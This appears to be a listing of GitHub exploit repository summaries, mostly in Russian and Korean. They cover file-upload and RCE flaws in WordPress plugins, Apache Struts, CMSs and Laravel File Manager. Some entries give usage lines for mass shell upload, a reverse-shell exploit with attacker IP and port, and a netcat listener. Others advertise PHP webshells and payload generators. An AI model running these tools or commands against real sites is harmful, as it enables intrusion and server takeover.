CVE-2024-52375

WordPress Datasets Manager 💥 Эксплойт от: Nxploit Khaled Alenazi 📅 CVE опубликован: 14 ноября 2024 🧠 Оценка CVSS: 10.0 Критический 🛠 CWE-434: Неограниченная загрузка файла с опасным типом 📌 Описание Критическая уязвимость была обнаружена в плагине WordPress Datasets Manager от Arttia Creative ,...

Apache-Struts-v4

Apache-Struts-v4 Скрипт содержит 5 различных уязвимостей, которые эксплуатируют RCE-уязвимости в Apache Struts. На данный момент он поддерживает только создание PHP-оболочки shell. CVE ДОБАВЛЕНИЕ CVE ID| ОПИСАНИЕ ---|--- CVE-2013-2251| Apache Struts 2.0.0 through 2.3.15 allows remote attackers to...

CVE-2021-25094-tatsu-preauth-rce

Preauth RCE в плагине Tatsu builder для WordPress CVE-2021-25094 Простой PoC неаутентифицированного RCE в Tatsu Builder = 3.3.11 в качестве примера. Полное описание здесь: https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/ Использование: python3 exploit-rce.py -h --techniqu...

CVE-2023-50564_Pluck-v4.7.18_PoC

CVE-2023-50564 PoC Этот репозиторий содержит доказательство концепции для уязвимости CVE-2023-50564 в Pluck CMS версии 4.7.18 Описание CVE-2023-50564 — это уязвимость, которая позволяет выполнять несанкционированную загрузку файлов в Pluck CMS версии 4.7.18. Данный эксплойт использует недостаток ...

YAPS

YAPS - Е щё о дна P HP о болочка Да, как следует из названия, это ещё один PHP Reverse Shell, один из сотен доступных, но с некоторыми преимуществами. Это один PHP-файл, содержащий все свои функции, и вы можете управлять им через простой TCP-слушатель например, nc -lp 1337. В текущей версии 1.5 е...

CVE-2024-25600-mass

массовая загрузка шелла для CVE python3 exploit.py -l yourlist.txt путь к шеллу https://examplewebsite.com/asd.php...

CVE-2024-53345

CVE-2024-53345 Критическая 0-day уязвимость в системе управления арендой автомобилей версий 1.0 - 1.3 Описание: В системе управления арендой автомобилей версии 1.0 - 1.3 в функциональности загрузки файлов модуля System Settings существует критическая уязвимость, которая позволяет пользователям с...

payday

Payday Metasploit과 Veil을 사용하는 페이로드 생성기입니다. IP 주소를 입력받아 자동으로 페이로드를 빌드합니다. 제공된 IP 주소로 Veil 프레임워크를 호출하여 바이너리와 핸들러를 생성합니다. msfvenom을 사용하여 페이로드를 생성하고, Veil과 동일한 방식으로 리소스 핸들러 파일을 작성합니다. --php 옵션은 파일 시작 부분의 주석을 자동으로 제거한 pshell.txt를 생성하므로 편집 없이 사용할 수 있습니다. -- Veil Evasion Script 경로 업데이트 이 도구는 이제 디렉토리 구조를...

CVE-2015-6967

CVE-2015-6967 Nibbleblog 4.0.3 - Произвольная загрузка файлов CVE-2015-6967 Требования python 3 requests Использование usage: exploit.py -h --url URL --username USERNAME --password PASSWORD --payload PAYLOAD optional arguments: -h, --help show this help message and exit --url URL, -l URL --userna...

WonderCMS-CVE-2020-35314

CVE-2020-35314 - Аутентифицированное удаленное выполнение кода в WonderCMS 3.1.3 Этот репозиторий создан с целью тестирования уязвимости удаленного выполнения кода в WonderCMS v3.1.3. Этот поддельный плагин включает бэкдор PHP-шелл, который находится в файле evil.php. Рекомендуется избегать...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 — загрузка reverse shell Эксплойт для WpDiscuz 7.0.4, основанный на эксплойте, написанном h3v0x. Эксплуатирует уязвимость и загружает PHP reverse shell. Вдохновением послужил Blogger CTF. exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001...

wordpress-shell

wordpress-shell 저렴하고 조잡한 워드프레스 명령어 실행 셸. 워드프레스를 서비스하는 웹서버의 권한으로 명령어를 실행하세요! 업로드된 셸은 일반적으로 /wp-content/plugins/shell/shell.php 에 위치합니다. 설치 셸을 설치하려면 워드프레스 설치에 대한 관리자 접근 권한이 있고 플러그인을 설치할 수 있다고 가정합니다. dist/ 디렉토리에 있는 zip 파일을 업로드하거나, 다음 명령어로 자신의 아카이브를 생성하세요: $ zip -r shell.zip shell.php adding: shell.p...

instant-appointment-arbitrary-file-upload

instant-appointment-arbitrary-file-upload instant-appointment — произвольная загрузка файлов Описание Плагин Instant Appointment для WordPress уязвим к произвольной загрузке файлов в версиях до 1.2 включительно. Это позволяет неаутентифицированным злоумышленникам загрузить шелл и выполнять команд...

CVE-2025-56399

CVE-2025-56399 대량 익스플로잇 CVE-2025-56399 – laravel-file-manager v3.3.1의 원격 코드 실행 취약점. Laravel File Manager의 잘못 구성된 설정을 악용하여 인증 없이 파일 업로드로 PHP 셸을 업로드하고 검증합니다. 설치 저장소 다운로드 git clone https://github.com/im-hanzou/CVE-2025-56399 저장소 폴더로 이동 cd CVE-2025-56399 필요 패키지 설치 pip install -r requirements.txt 사용법...

CVE-2019-15813

CVE-2019-15813 Этот контейнер создан для объяснения и демонстрации того, как работает CVE-2019-15813 Sentrifugo Sentrifugo V3.2 Sentrifugo — это система управления персоналом Как установить docker-compose up Учётные данные по умолчанию для проверки ----Супер-администратор---- Username : empp0001...

HeimShell

HeimShell CVE-2023-51803 HeimShell — это эксплойт для CVE-2023-51803, использующий уязвимость произвольной загрузки файлов в LinuxServer.io Heimdall ≤ 2.5.6. Он автоматически определяет версию цели и либо предупреждает о возможности эксплуатации, либо удалённо получает php-шелл, заданный в SHELLU...

OpenSTAManager_RCE_Exploit-CVE-2026-38751-

Эксплойт RCE OpenSTAManager CVE-2026-38751 Обзор Этот Python-скрипт эксплуатирует уязвимость удаленного выполнения кода в OpenSTAManager версии 2.10, идентифицированную как CVE-2026-38751. Эксплойт позволяет аутентифицированным пользователям загрузить вредоносный модуль и выполнить произвольные...

CVE-2026-4885

CVE-2026-4885 – Массовый эксплойт Piotnet Addons for Elementor Pro Неаутентифицированная произвольная загрузка файла, приводящая к удаленному выполнению кода RCE в Piotnet Addons for Elementor Pro ≤ 7.1.70. Этот инструмент предназначен для массовой эксплуатации – передайте ему список целей, и он...

CVE-2019-11223

CVE-2019-11223 Произвольная загрузка файлов в плагин Wordpress SupportCandy версии 2.0 и ниже https://cert.kalasag.com.ph/news/research/vulnerable-wordpress-plugin-lets-you-take-over-websites/ https://wordpress.org/plugins/supportcandy/developers...

cve-2020-11060-poc

CVE-2020-11060 Этот скрипт представляет собой эксплойт на Python 3.x для CVE-2020-11060 в GLPI версий 0.85-9.4.5. Оригинальная реализация: 0xdreadnaught Рефакторинг на Python3: n3rada Оригинальный PoC в ExploitDB теперь устарел, так как использовал Python 2.x. Новая версия была отправлена, и ссыл...